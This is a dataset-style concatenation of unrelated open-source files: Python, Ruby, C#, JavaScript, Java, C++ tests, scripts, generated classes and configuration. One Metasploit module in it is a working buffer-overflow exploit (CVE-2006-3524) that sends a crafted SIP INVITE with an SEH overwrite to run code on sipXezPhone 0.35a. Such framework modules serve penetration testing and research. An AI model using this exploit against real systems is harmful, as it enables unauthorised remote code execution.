self.g.add((self.doc, DC.identifier, self.ident2))
self.g.add((self.ident2, RDF.type, BIB.doi))
self.g.add((self.ident2, RDF.value, URIRef(self.test_doi)))
self.g.serialize(self.rdf_path, encoding='utf-8')
def test_load_graph(self):
"""
Unit test for :meth:`ZoteroIngest.__init__` with RDF document only.
"""
ingester = ZoteroIngest(self.rdf_path)
self.assertIsInstance(ingester.graph, Graph,
"When a path to an RDF document is passed to the constructor, an"
" rdflib.Graph should be instantiated and populated.")
self.assertEqual(len(ingester.graph), 10,
"The Graph should be populated with 10 nodes.")
def test_get_resources_nodes(self):
"""
Unit test for :meth:`ZoteroIngest._get_resources_nodes`\.
"""
ingester = ZoteroIngest(self.rdf_path)
nodes = ingester._get_resources_nodes(BIB.Article)
self.assertIsInstance(nodes, types.GeneratorType,
"_get_resources_nodes Should return a generator object that yields"
" rdflib.BNodes.")
nodes = [n for n in nodes]
self.assertIsInstance(nodes[0], BNode)
self.assertEqual(len(nodes), 1, "There should be one Article node.")
def test_new_entry(self):
"""
Unit test for :meth:`ZoteroIngest._new_entry`\.
"""
ingester = ZoteroIngest(self.rdf_path)
before = len(ingester.data)
ingester._new_entry()
after = len(ingester.data)
self.assertEqual(after, before + 1,
"A new entry should be added to ingester.data")
def test_set_value(self):
"""
Unit test for :meth:`ZoteroIngest._set_value`\.
"""
ingester = ZoteroIngest(self.rdf_path)
ingester._new_entry()
ingester._set_value("key", "value")
self.assertIn("key", ingester.data[-1],
"_set_value should add the key to the current entry.")
self.assertEqual(ingester.data[-1]["key"], ["value"],
"_set_value should add the value to a list")
def test_get_handler(self):
"""
Unit test for :meth:`ZoteroIngest._get_handler`\.
"""
ingester = ZoteroIngest(self.rdf_path)
handler = ingester._get_handler(DC.identifier)
self.assertIsInstance(handler, types.MethodType,
"_get_handler should return an instance method if the predicate"
" has an explicit handler.")
try:
handler('one', 'two')
except TypeError:
self.fail("The returned handler should accept two arguments.")
handler = ingester._get_handler("nonsense")
self.assertIsInstance(handler, types.LambdaType,
"_get_handler should return a lambda function if the predicate"
" does not have an explicit handler.")
try:
handler('one', 'two')
except TypeError:
self.fail("The returned handler should accept two arguments.")
def test_handle_identifier(self):
"""
Unit test for :meth:`ZoteroIngest.handle_identifier`\.
"""
ingester = ZoteroIngest(self.rdf_path)
# We want to intervene on our original graph here.
ingester.graph = self.g
result = ingester.handle_identifier(DC.identifier, self.ident)
self.assertIsInstance(result, tuple,
"Handlers should return tuples.")
self.assertEqual(result[0], 'uri',
"DCTERMS.URI identifiers should be used as first-class URIs.")
self.assertEqual(result[1].toPython(), self.test_uri)
result = ingester.handle_identifier(DC.identifier, self.ident2)
self.assertIsInstance(result, tuple,
"Handlers should return tuples.")
self.assertEqual(result[0], BIB.doi)
self.assertEqual(result[1].toPython(), self.test_doi)
def test_handle_date(self):
"""
Unit test for :meth:`ZoteroIngest.handle_date`\.
"""
ingester = ZoteroIngest(self.rdf_path)
ingester.graph = self.g
predicate, value = ingester.handle_date(DC.date, self.date)
self.assertIsInstance(value, datetime.datetime,
"ISO-8601 compliant dates should be recast to datetime instances.")
def test_handle_type(self):
"""
Unit test for :meth:`ZoteroIngest.handle_documentType`\.
"""
ingester = ZoteroIngest(self.rdf_path)
ingester.graph = self.g
predicate, value = ingester.handle_documentType(ZOTERO.itemType, "!")
self.assertEqual(predicate, "entity_type",
"ZOTERO.itemType should be flagged as the Resource.entity_type")
def test_handle_title(self):
"""
Unit test for :meth:`ZoteroIngest.handle_title`\.
"""
ingester = ZoteroIngest(self.rdf_path)
ingester.graph = self.g
predicate, value = ingester.handle_title(DC.title, "!")
self.assertEqual(predicate, "name",
"DC.title should be flagged as the Resource.name")
def test_handle(self):
"""
Unit test for :meth:`ZoteroIngest.handle`\.
"""
ingester = ZoteroIngest(self.rdf_path)
ingester.graph = self.g
ingester._new_entry() # Need somewhere to put the value.
predicate, value = ingester.handle(DC.identifier, self.ident)
self.assertEqual(value, self.test_uri,
"handle() should pass along the predicate and value to"
" handle_identifier(), and return native Python types.")
predicate, value = ingester.handle(DC.nonsense, "value")
self.assertEqual(predicate, DC.nonsense.toPython(),
"If there are no special handlers for the predicate, it should be"
" returned as a native Python type.")
self.assertEqual(value, "value",
"So too with the corresponding value.")
def tearDown(self):
os.remove(self.rdf_path)
reconnect_signal(post_save, send_all_files_to_giles, ContentRelation)
| gpl-3.0 |
Donkyhotay/MoonPy | zope/app/apidoc/ifacemodule/tests.py | 2478 | ##############################################################################
#
# Copyright (c) 2004 Zope Corporation and Contributors.
# All Rights Reserved.
#
# This software is subject to the provisions of the Zope Public License,
# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.
# THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS
# FOR A PARTICULAR PURPOSE.
#
##############################################################################
"""Tests for the Interface Documentation Module
$Id: tests.py 65511 2006-02-27 05:24:24Z philikon $
"""
import unittest
from zope.component.interfaces import IFactory
from zope.interface.interfaces import IInterface
from zope.testing import doctest, doctestunit
from zope.app.renderer.rest import ReStructuredTextSourceFactory
from zope.app.renderer.rest import IReStructuredTextSource
from zope.app.renderer.rest import ReStructuredTextToHTMLRenderer
from zope.app.testing import placelesssetup, ztapi, setup
from zope.app.tree.interfaces import IUniqueId
from zope.app.tree.adapters import LocationUniqueId
def setUp(test):
placelesssetup.setUp()
setup.setUpTraversal()
ztapi.provideAdapter(IInterface, IUniqueId, LocationUniqueId)
# Register Renderer Components
ztapi.provideUtility(IFactory, ReStructuredTextSourceFactory,
'zope.source.rest')
ztapi.browserView(IReStructuredTextSource, '',
ReStructuredTextToHTMLRenderer)
# Cheat and register the ReST factory for STX as well
ztapi.provideUtility(IFactory, ReStructuredTextSourceFactory,
'zope.source.stx')
def test_suite():
return unittest.TestSuite((
doctest.DocFileSuite('README.txt',
setUp=setUp, tearDown=placelesssetup.tearDown,
globs={'pprint': doctestunit.pprint},
optionflags=doctest.NORMALIZE_WHITESPACE),
doctest.DocFileSuite('browser.txt',
setUp=setUp, tearDown=placelesssetup.tearDown,
globs={'pprint': doctestunit.pprint},
optionflags=doctest.NORMALIZE_WHITESPACE),
))
if __name__ == '__main__':
unittest.main(defaultTest="test_suite")
| gpl-3.0 |
cSploit/android.MSF | modules/exploits/windows/sip/sipxezphone_cseq.rb | 2342 | ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'SIPfoundry sipXezPhone 0.35a CSeq Field Overflow',
'Description' => %q{
This module exploits a buffer overflow in SIPfoundry's
sipXezPhone version 0.35a. By sending an long CSeq header,
a remote attacker could overflow a buffer and execute
arbitrary code on the system with the privileges of
the affected application.
},
'Author' => 'MC',
'References' =>
[
['CVE', '2006-3524'],
['OSVDB', '27122'],
['BID', '18906'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x0a\x20\x09\x0d",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
['sipXezPhone 0.35a Universal', { 'Ret' => 0x1008e853 } ],
],
'Privileged' => false,
'DisclosureDate' => 'Jul 10 2006',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(5060)
], self.class)
end
def exploit
connect_udp
print_status("Trying target #{target.name}...")
user = rand_text_english(2, payload_badchars)
port = rand(65535).to_s
filler = rand_text_english(260, payload_badchars)
seh = generate_seh_payload(target.ret)
filler[252, seh.length] = seh
sploit = "INVITE sip:#{user}\@127.0.0.1 SIP/2.0" + "\r\n"
sploit << "To: <sip:#{rhost}:#{rport}>" + "\r\n"
sploit << "Via: SIP/2.0/UDP #{rhost}:#{port}" + "\r\n"
sploit << "From: \"#{user}\"<sip:#{rhost}:#{port}>" + "\r\n"
sploit << "Call-ID: #{(rand(100)+100)}#{rhost}" + "\r\n"
sploit << "CSeq: " + filler + "\r\n"
sploit << "Max-Forwards: 20" + "\r\n"
sploit << "Contact: <sip:127.0.0.1:#{port}>" + "\r\n\r\n"
udp_sock.put(sploit)
handler
disconnect_udp
end
end
| gpl-3.0 |
gwct/core | legacy/legacy-scripts-v2/NA_clipkit_codon_filter.py | 7741 | #!/usr/bin/python
############################################################
# For Penn genomes, 06.2020
# Takes a log file from a clipkit run on amino acid sequence
# and removes corresponding sites from codon alignment.
############################################################
import sys, os, core, coreseq, argparse
############################################################
# Options
parser = argparse.ArgumentParser(description="ClipKit codon filter");
parser.add_argument("-i", dest="aa_input", help="Directory of ClipKit filtered amino acid alignments and log files.", default=False);
parser.add_argument("-c", dest="cds_input", help="Directory of unfiltered CDS alignments.", default=False);
parser.add_argument("-o", dest="output", help="Desired output directory for filtered CDS alignments.", default=False);
parser.add_argument("-n", dest="name", help="A short name for all files associated with this job.", default=False);
parser.add_argument("--overwrite", dest="overwrite", help="If the output directory already exists and you wish to overwrite it, set this option.", action="store_true", default=False);
# IO options
args = parser.parse_args();
if not args.aa_input or not os.path.isdir(args.aa_input):
sys.exit( " * Error 1: An input directory with ClipKit filtered amino acid sequences must be defined with -i.");
args.aa_input = os.path.abspath(args.aa_input);
if not args.cds_input or not os.path.isdir(args.cds_input):
sys.exit( " * Error 2: An input directory with unfiltered CDS sequences must be defined with -c.");
args.cds_input = os.path.abspath(args.cds_input);
if not args.name:
name = core.getRandStr();
else:
name = args.name;
if not args.output:
sys.exit( " * Error 3: An output directory must be defined with -o.");
args.output = os.path.abspath(args.output);
if os.path.isdir(args.output) and not args.overwrite:
sys.exit( " * Error 4: Output directory (-o) already exists! Explicity specify --overwrite to overwrite it.");
# IO option error checking
pad = 26
cwd = os.getcwd();
# Job vars
log_file = os.path.join("logs", name + ".log");
# Job files
##########################
# Reporting run-time info for records.
with open(log_file, "w") as logfile:
core.runTime("# ClipKit CDS filter", logfile);
core.PWS("# IO OPTIONS", logfile);
core.PWS(core.spacedOut("# Input AA directory:", pad) + args.aa_input, logfile);
core.PWS(core.spacedOut("# Input CDS directory:", pad) + args.cds_input, logfile);
if not args.name:
core.PWS("# -n not specified --> Generating random string for job name", logfile);
core.PWS(core.spacedOut("# Job name:", pad) + name, logfile);
core.PWS(core.spacedOut("# Output directory:", pad) + args.output, logfile);
if args.overwrite:
core.PWS(core.spacedOut("# --overwrite set:", pad) + "Overwriting previous files in output directory.", logfile);
if not os.path.isdir(args.output):
core.PWS("# Creating output directory.", logfile);
os.system("mkdir " + args.output);
core.PWS(core.spacedOut("# Log file:", pad) + log_file, logfile);
core.PWS("# ----------------", logfile);
##########################
# Filtering CDS aligns
core.PWS("# " + core.getDateTime() + " Beginning filter...", logfile);
headers = "Align\tInitial length\tSites removed\tPercent sites removed\tPercent high\tFinal length\tShort aln\tStop codons";
logfile.write(headers + "\n");
skipped, seq_prem_stop, aln_prem_stop, num_high, num_short = 0,0,0,0,0;
for f in os.listdir(args.aa_input):
if not f.endswith(".fa.log"):
continue;
base_input = f.replace(".clipkit.fa.log", "");
clip_log = os.path.join(args.aa_input, f);
cds_aln = os.path.join(args.cds_input, base_input.replace("AA", "NT") + ".fa");
cur_outfile = os.path.join(args.output, f.replace("AA", "NT").replace(".fa.log", ".fa"));
# Get the current in and output files
if not os.path.isfile(clip_log):
core.PWS(cds_aln + "\t" + " Skipping -- could not find ClipKit log file:\t" + clip_log);
skipped += 1;
if not os.path.isfile(cds_aln):
core.PWS(cds_aln + "\t" + " Skipping -- could not find CDS align file.", logfile);
skipped += 1;
# Make sure all files exist
# print(f);
# print(base_input);
# print(clip_log);
# print(cds_aln);
# print(cur_outfile);
# sys.exit();
titles, seqs = core.fastaGetLists(cds_aln);
# Read the CDS sequences
codon_len = len(seqs[0]) / 3;
# Get the total number of codons in the alignment
rm_codons = [];
for line in open(clip_log):
line = line.strip().split(" ");
if line[1] == "trim":
rm_codons.append(int(line[0])-1);
# Read the clipkit log to get the codons to be removed
perc_rm = round(float((len(rm_codons)) / float(codon_len)) * 100.0, 2);
# Count percent of sites removed
codon_seqs = [];
for seq in seqs:
codon_list = [ seq[i:i+3] for i in range(0, len(seq), 3) ];
codon_seqs.append(codon_list);
# Convert each CDS sequence into a list of codons
for site in sorted(rm_codons, reverse=True):
for codon_seq in codon_seqs:
del codon_seq[site];
# Remove each site from each list of codons. Loop through sites in reverse to preserve indices.
new_seqs = [];
for codon_seq in codon_seqs:
new_seqs.append("".join(codon_seq));
# Convert from codon lists to sequence strings
prem_stop_flag = False;
for s in range(len(new_seqs)):
stop, new_seqs[s] = coreseq.premStopCheck(new_seqs[s], allowlastcodon=True, rmlast=True);
if stop:
seq_prem_stop += 1;
prem_stop_flag = True;
if prem_stop_flag:
aln_prem_stop += 1;
# Check for premature stop codons and remove last codon if it is a stop
filtered_codon_len = len(new_seqs[0]) / 3;
# Get the total number of codons in the filtered alignment
with open(cur_outfile, "w") as outfile:
for i in range(len(titles)):
outfile.write(titles[i] + "\n");
outfile.write(new_seqs[i].replace("!", "N") + "\n");
# Write filtered sequences to output file
perc_high = "FALSE";
if perc_rm > 20:
num_high += 1;
perc_high = "TRUE";
short_aln = "FALSE";
if filtered_codon_len < 50:
num_short += 1;
short_aln = "TRUE";
outline = [cds_aln, str(int(codon_len)), str(len(rm_codons)), str(perc_rm), perc_high, str(int(filtered_codon_len)), short_aln, str(seq_prem_stop)];
core.PWS("\t".join(outline), logfile);
core.PWS("# ----------------", logfile);
core.PWS(core.spacedOut("# Aligns with >20% codons removed:", 55) + str(num_high), logfile);
core.PWS(core.spacedOut("# Aligns shorter than 50 codons after filter", 55) + str(num_short), logfile);
core.PWS(core.spacedOut("# Aligns with premature stop:", 55) + str(aln_prem_stop), logfile);
core.PWS("# ----------------", logfile);
# java -jar ~/bin/macse_v2.03.jar -prog trimNonHomologousFragments -seq ENSMUSG00000042419-rodent-26-NEW.fa -out_NT -out_AA
# java -jar ~/bin/macse_v2.03.jar -prog alignSequences -seq ENSMUSG00000042419-rodent-26-NEW_NT.fa -out_NT -out_AA
# clipkit ENSMUSG00000042419-rodent-26-NEW_NT_AA.fa -m kpic-gappy -l
# this script
# java -jar ~/bin/macse_v2.03.jar -prog trimAlignment -seq ENSMUSG00000042419-rodent-26-NEW_NT_NT.fa.clipkit
| gpl-3.0 |
MikeMatt16/Abide | Abide Tag Definitions/Generated/Library/AnimationIndexStructBlock.Generated.cs | 2217 | //------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
// Runtime Version:4.0.30319.42000
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
namespace Abide.HaloLibrary.Halo2.Retail.Tag.Generated
{
using System;
using Abide.HaloLibrary;
using Abide.HaloLibrary.Halo2.Retail.Tag;
/// <summary>
/// Represents the generated animation_index_struct_block tag block.
/// </summary>
public sealed class AnimationIndexStructBlock : Block
{
/// <summary>
/// Initializes a new instance of the <see cref="AnimationIndexStructBlock"/> class.
/// </summary>
public AnimationIndexStructBlock()
{
this.Fields.Add(new ShortIntegerField("graph index*"));
this.Fields.Add(new ShortBlockIndexField("animation*"));
}
/// <summary>
/// Gets and returns the name of the animation_index_struct_block tag block.
/// </summary>
public override string BlockName
{
get
{
return "animation_index_struct_block";
}
}
/// <summary>
/// Gets and returns the display name of the animation_index_struct_block tag block.
/// </summary>
public override string DisplayName
{
get
{
return "animation_index_struct";
}
}
/// <summary>
/// Gets and returns the maximum number of elements allowed of the animation_index_struct_block tag block.
/// </summary>
public override int MaximumElementCount
{
get
{
return 1;
}
}
/// <summary>
/// Gets and returns the alignment of the animation_index_struct_block tag block.
/// </summary>
public override int Alignment
{
get
{
return 4;
}
}
}
}
| gpl-3.0 |
marcog83/cesena-online-demo | dati-jobs/db/tables.js | 1335 | exports.RUNTASTIC_ROUTES = 'runtastic-routes';
exports.RUNTASTIC_ROUTE_TYPES = 'runtastic-route-types';
exports.MOVIES_TITLE_AKA = 'movies-title-aka';
exports.INSTAGRAM_PHOTOS = 'instagram-photos';
exports.MY_PLACES = 'my-places';
exports.MY_PLACES_2 = 'my-places-2';
exports.IMPRESE = 'imprese';
exports.OPENDATA_PLACES = 'opendata-places';
exports.FACEBOOK_PLACES = 'facebook-places';
exports.GOOGLE_PLACES = 'google-places';
exports.MY_EVENTS = 'my-events';
exports.MY_PHOTOS = 'my-photos';
exports.MY_POSTS = 'my-posts';
exports.MY_FB_PHOTOS = 'my-fb-photos';
exports.MY_EVENTS_RELATIONS = 'my-events-relations';
exports.MY_PHOTOS_RELATIONS = 'my-photos-relations';
exports.MY_POSTS_RELATIONS = 'my-posts-relations';
exports.OMDB_MOVIE = 'omdb-movie';
exports.THEMOVIEDB_MOVIE = 'themoviedb-movie';
exports.MOVIES_ORARI = 'movies-orari';
exports.MOVIES_ORARI = 'movies-orari';
exports.FUZZY_MATCHES = "fuzzy-matches";
exports.FUZZY_MATCHES_ONE_TO_MANY = "fuzzy-matches-one-to-many";
exports.RATINGS = "ratings";
exports.MY_IMAGES_COMMENTS = "MY_IMAGES_COMMENTS";
exports.SEO_URLS = "SEO_URLS";
exports.FUZZY_MATCHES_FB = "FUZZY_MATCHES_FB";
exports.FUZZY_MATCHES_FB_ONE_TO_MANY = "FUZZY_MATCHES_FB_ONE_TO_MANY";
exports.OAuthTokens = "OAuthTokens";
exports.OAuthClients = "OAuthClients";
exports.OAuthUsers = "OAuthUsers";
| gpl-3.0 |
ansancho/scripts | python/Jobs/trabajo_basura.py | 5133 | #!/usr/bin/env python
# -*- coding: utf8 -*-
import sys
from urllib import urlencode
from urllib2 import urlopen, URLError, build_opener
from requests import session, RequestException
from argparse import ArgumentParser
from bs4 import BeautifulSoup
from time import sleep
import logging
import csv
'''
Global variables
'''
directorio = 'http://www.trabajobasura.info/directorio/'
authurl = 'http://www.trabajobasura.info/ingresar.php'
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0'
}
params = {
'action': 'ingresar.php',
'emailF': "",
'passwordF': ""
}
def parse_arguments():
""" Process command line arguments """
parser = ArgumentParser(description=
'Grabs full directory of companies from http://trabajobasura.info and export them to a csv file')
parser.add_argument('-u', '--user',
help='Registered username. In case the page asks you for credentials',
required=False)
parser.add_argument('-p', '--passw',
help='User password',
required=False)
parser.add_argument('-d','--debug', action='store_true',
help='Print debug messages',
required=False)
parser.add_argument('-f','--file', nargs='?',
help='Output csv file, if ommitted then will be junkcs.csv',
required=False)
parser.add_argument('-s','--sort',
choices=['r','p'],
default='r',
help="Sort companies by rate (r) or popularity (p) ",
required=False)
args = parser.parse_args()
return args
def parse_table(table):
logger = logging.getLogger(__name__)
results = []
company = []
for i in table.find_all('tr'):
tmp = i.find_all('td')
if tmp:
#nombre de la empresa y enlace interno
a = tmp[0].find_all('a',href=True)
for j in a:
company.append(j.getText().encode('utf-8'))
company.append(directorio+j['href'].encode('utf-8'))
#votos
company.append(float(tmp[1].getText()))
#numero de comentarios - popularidad
company.append(float(tmp[2].getText()))
#Enlace externo
a = tmp[3].find_all('a',href=True)
if a:
for j in a:
company.append("http:"+j['href'].encode('utf-8'))
else:
company.append("")
results.append(company)
company = []
return results
def main():
# Get arguments
args = parse_arguments()
logging.basicConfig()
logger = logging.getLogger(__name__)
sess = session()
if (args.user) and (args.passw):
params['emailF']= args.user
params['passwordF'] = args.passw
sess.post(authurl, data=params)
if (args.debug):
logger.setLevel(logging.DEBUG)
logger.debug("Debug mode ON")
else:
logger.setLevel(logging.INFO)
if (args.file):
logger.debug("Opening %s"%args.file)
fichero = open(args.file,'w')
else:
logger.debug("Opening %s"%"junkcs.csv")
fichero = open('junkcs.csv','w')
excel = csv.writer(fichero)
try:
response = sess.get(directorio,headers=headers)
soup = BeautifulSoup(response.content,'html.parser')
''' The index of directory pages are in the font tags '''
index = len(soup.find_all('table')[0].find_all('font'))
logger.debug("There are %s company pages to retrieve\n" % str(index))
tables = ""
for i in range (1,index+1):
logger.info("Procesando " + directorio+ "?pag=" + str(i))
response = sess.get(directorio+ "?pag=" + str(i),headers=headers)
soup = BeautifulSoup(response.content,'html.parser')
tables += str(soup.find_all('table')[-1])
''' We do not want to make DDOS '''
sleep (0.3)
listado = parse_table(BeautifulSoup(tables,'html.parser'))
#ordenar por puntuacion o por popularidad
if (args.sort == 'p'):
logger.debug("Ordering by popularity")
listado.sort(key=lambda x: x[3], reverse=True)
else:
logger.debug("Ordering by rating")
listado.sort(key=lambda x: x[2], reverse=True)
excel.writerow(['Name','Database link','Rating','Votes','Company external link'])
excel.writerows(listado)
fichero.close()
sys.exit(1)
except RequestException as sessionError:
logger.debug('An error occured fetching trabajobasura.info page \n %s\n' % str(sessionError))
sys.exit(1)
except Exception as e:
logger.debug( 'An error occured\n %s\n' % str(e),exc_info=True)
sys.exit(1)
if __name__ == '__main__':
status = main()
sys.exit(status)
| gpl-3.0 |
xbash/LabUNAB | 12_string/chars.py | 32 | a = "holanda"
print (a[::-1])
| gpl-3.0 |
zhdk/madek | spec/models/meta_datum/meta_datum_string_spec.rb | 1529 | require 'spec_helper'
describe MetaDatumString do
describe "Creation" do
it "should not raise an error " do
expect {FactoryGirl.create :meta_datum_string}.not_to raise_error
end
it "should not be nil" do
(FactoryGirl.create :meta_datum_string).should_not == nil
end
it "should be persisted" do
(FactoryGirl.create :meta_datum_string).should be_persisted
end
end
context "an existing MetaDatumString instance " do
before :each do
@mds = FactoryGirl.create :meta_datum_string, string: "original value"
end
describe "the string field" do
it "should be assignable" do
expect {@mds.string = "new string value"}.not_to raise_error
end
it "should be persisted " do
@mds.string = "new string value"
@mds.save
@mds.reload.string.should == "new string value"
end
describe "the value alias" do
it "should be accessible" do
expect {@mds.value}.not_to raise_error
end
it "should be setable and persited" do
@mds.value = "new string value"
@mds.save
@mds.reload.value.should == "new string value"
end
it "should alias string" do
@mds.string = "Blah"
@mds.save
@mds.reload.value.should == "Blah"
end
end
end
describe "the to_s method" do
it "should return the string value" do
@mds.to_s.should == "original value"
end
end
end
end
| gpl-3.0 |
vdmtools/vdmtools | spec/java2vdm/javaapi/java/util/AbstractSet-.java | 266 | package java.util;
public abstract class AbstractSet extends AbstractCollection implements Set {
//protected AbstractSet(){};
//public native boolean equals( Object o);
//public native int hashCode();
//public native boolean removeAll( Collection c);
}
| gpl-3.0 |
benlaug/labgen-of | include/labgen-of/optical_flow/SparseToDenseFlow.hpp | 1514 | /**
* Copyright - Benjamin Laugraud <blaugraud@ulg.ac.be> - 2017
* http://www.montefiore.ulg.ac.be/~blaugraud
* http://www.telecom.ulg.ac.be/labgen
*
* This file is part of LaBGen-OF.
*
* LaBGen-OF is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* LaBGen-OF is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with LaBGen-OF. If not, see <http://www.gnu.org/licenses/>.
*/
#pragma once
#include "OpticalFlow.hpp"
namespace ns_labgen_of {
/* ======================================================================== *
* SparseToDenseFlow *
* ======================================================================== */
class SparseToDenseFlow : public OpticalFlow {
public:
SparseToDenseFlow() = default;
virtual ~SparseToDenseFlow() = default;
public:
virtual void compute_flow(
const cv::Mat& previous_frame,
const cv::Mat& current_frame,
cv::Mat& optical_flow
);
virtual int get_frame_type();
};
} /* ns_labgen_of */
| gpl-3.0 |
Redgram/redgram-for-reddit | Redgram/app/src/main/java/com/matie/redgram/ui/settings/fragments/SyncPreferenceFragment.java | 1195 | package com.matie.redgram.ui.settings.fragments;
import android.annotation.TargetApi;
import android.content.Intent;
import android.os.Build;
import android.os.Bundle;
import android.preference.PreferenceFragment;
import android.view.MenuItem;
import com.matie.redgram.R;
import com.matie.redgram.ui.settings.SettingsActivity;
/**
* This fragment shows notification preferences only. It is used when the
* activity is showing a two-pane settings UI.
*/
@TargetApi(Build.VERSION_CODES.HONEYCOMB)
public class SyncPreferenceFragment extends PreferenceFragment {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
addPreferencesFromResource(R.xml.pref_sync);
setHasOptionsMenu(true);
SettingsActivity.bindPreferenceSummaryToValue(findPreference(SettingsActivity.pref_sync_period));
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
int id = item.getItemId();
if (id == android.R.id.home) {
startActivity(new Intent(getActivity(), SettingsActivity.class));
return true;
}
return super.onOptionsItemSelected(item);
}
}
| gpl-3.0 |
Itsinmybackpack/CreateUO | Scripts/Custom Scripts/Mobiles/GraniteElementals/GoldenColossus.cs | 3099 | using System;
using Server;
using Server.Items;
using Server.Mobiles;
namespace Server.Mobiles
{
[CorpseName( "a colossus corpse" )]
public class GoldenColossus : BaseCreature
{
[Constructable]
public GoldenColossus() : base( AIType.AI_Melee, FightMode.Closest, 10, 1, 0.2, 0.4 )
{
Name = "a golden colossus";
Body = 0x33D;
Hue = 0x8A5;
BaseSoundID = 268;
SetStr( 226, 255 );
SetDex( 126, 145 );
SetInt( 71, 92 );
SetHits( 236, 353 );
SetDamage( 28 );
SetDamageType( ResistanceType.Physical, 100 );
SetResistance( ResistanceType.Physical, 60, 75 );
SetResistance( ResistanceType.Fire, 10, 20 );
SetResistance( ResistanceType.Cold, 30, 40 );
SetResistance( ResistanceType.Poison, 30, 40 );
SetResistance( ResistanceType.Energy, 30, 40 );
SetSkill( SkillName.MagicResist, 50.1, 95.0 );
SetSkill( SkillName.Tactics, 60.1, 100.0 );
SetSkill( SkillName.Wrestling, 60.1, 100.0 );
Fame = 3500;
Karma = -3500;
VirtualArmor = 60;
}
public override void GenerateLoot()
{
AddLoot( LootPack.Rich, 3 );
AddLoot( LootPack.Gems, 2 );
}
public override void OnDeath( Container c )
{
base.OnDeath( c );
GoldGranite granite = new GoldGranite();
granite.Amount = 10;
c.DropItem(granite);
}
public override bool AutoDispel{ get{ return true; } }
public override bool BleedImmune{ get{ return true; } }
public override int TreasureMapLevel{ get{ return 4; } }
public override void CheckReflect( Mobile caster, ref bool reflect )
{
reflect = true; // Every spell is reflected back to the caster
}
public override void AlterMeleeDamageFrom( Mobile from, ref int damage )
{
if ( from is BaseCreature )
{
BaseCreature bc = (BaseCreature)from;
if ( bc.Controlled || bc.BardTarget == this )
damage = 0; // Immune to pets and provoked creatures
}
else if ( from != null )
{
int hitback = damage;
AOS.Damage( from, this, hitback, 100, 0, 0, 0, 0 );
}
}
public override void AlterMeleeDamageTo( Mobile to, ref int damage )
{
if ( 0.5 >= Utility.RandomDouble() )
{
double positionChance = Utility.RandomDouble();
BaseArmor armor;
if ( positionChance < 0.07 )
armor = to.NeckArmor as BaseArmor;
else if ( positionChance < 0.14 )
armor = to.HandArmor as BaseArmor;
else if ( positionChance < 0.28 )
armor = to.ArmsArmor as BaseArmor;
else if ( positionChance < 0.43 )
armor = to.HeadArmor as BaseArmor;
else if ( positionChance < 0.65 )
armor = to.LegsArmor as BaseArmor;
else
armor = to.ChestArmor as BaseArmor;
if ( armor != null )
{
int ruin = Utility.RandomMinMax( 1, 4 );
armor.HitPoints -= ruin;
}
}
}
public GoldenColossus( Serial serial ) : base( serial )
{
}
public override void Serialize( GenericWriter writer )
{
base.Serialize( writer );
writer.Write( (int) 0 );
}
public override void Deserialize( GenericReader reader )
{
base.Deserialize( reader );
int version = reader.ReadInt();
}
}
}
| gpl-3.0 |
danimataonrails/my_prs | config/initializers/devise.rb | 13454 | # Use this hook to configure devise mailer, warden hooks and so forth.
# Many of these configuration options can be set straight in your model.
Devise.setup do |config|
# The secret key used by Devise. Devise uses this key to generate
# random tokens. Changing this key will render invalid all existing
# confirmation, reset password and unlock tokens in the database.
# Devise will use the `secret_key_base` as its `secret_key`
# by default. You can change it below and use your own secret key.
# config.secret_key = '107836eb9421aa136e1cae30978540171c44ed237a9828e90f2c18bb7d011d1f9901d649be9ca4afe8c900095e7b510f700ceeaee92d4276d63cbee9163f33d0'
# ==> Mailer Configuration
# Configure the e-mail address which will be shown in Devise::Mailer,
# note that it will be overwritten if you use your own mailer class
# with default "from" parameter.
config.mailer_sender = 'admin@myprs.com'
# Configure the class responsible to send e-mails.
# config.mailer = 'Devise::Mailer'
# Configure the parent class responsible to send e-mails.
# config.parent_mailer = 'ActionMailer::Base'
# ==> ORM configuration
# Load and configure the ORM. Supports :active_record (default) and
# :mongoid (bson_ext recommended) by default. Other ORMs may be
# available as additional gems.
require 'devise/orm/active_record'
# ==> Configuration for any authentication mechanism
# Configure which keys are used when authenticating a user. The default is
# just :email. You can configure it to use [:username, :subdomain], so for
# authenticating a user, both parameters are required. Remember that those
# parameters are used only when authenticating and not when retrieving from
# session. If you need permissions, you should implement that in a before filter.
# You can also supply a hash where the value is a boolean determining whether
# or not authentication should be aborted when the value is not present.
# config.authentication_keys = [:email]
# Configure parameters from the request object used for authentication. Each entry
# given should be a request method and it will automatically be passed to the
# find_for_authentication method and considered in your model lookup. For instance,
# if you set :request_keys to [:subdomain], :subdomain will be used on authentication.
# The same considerations mentioned for authentication_keys also apply to request_keys.
# config.request_keys = []
# Configure which authentication keys should be case-insensitive.
# These keys will be downcased upon creating or modifying a user and when used
# to authenticate or find a user. Default is :email.
config.case_insensitive_keys = [:email]
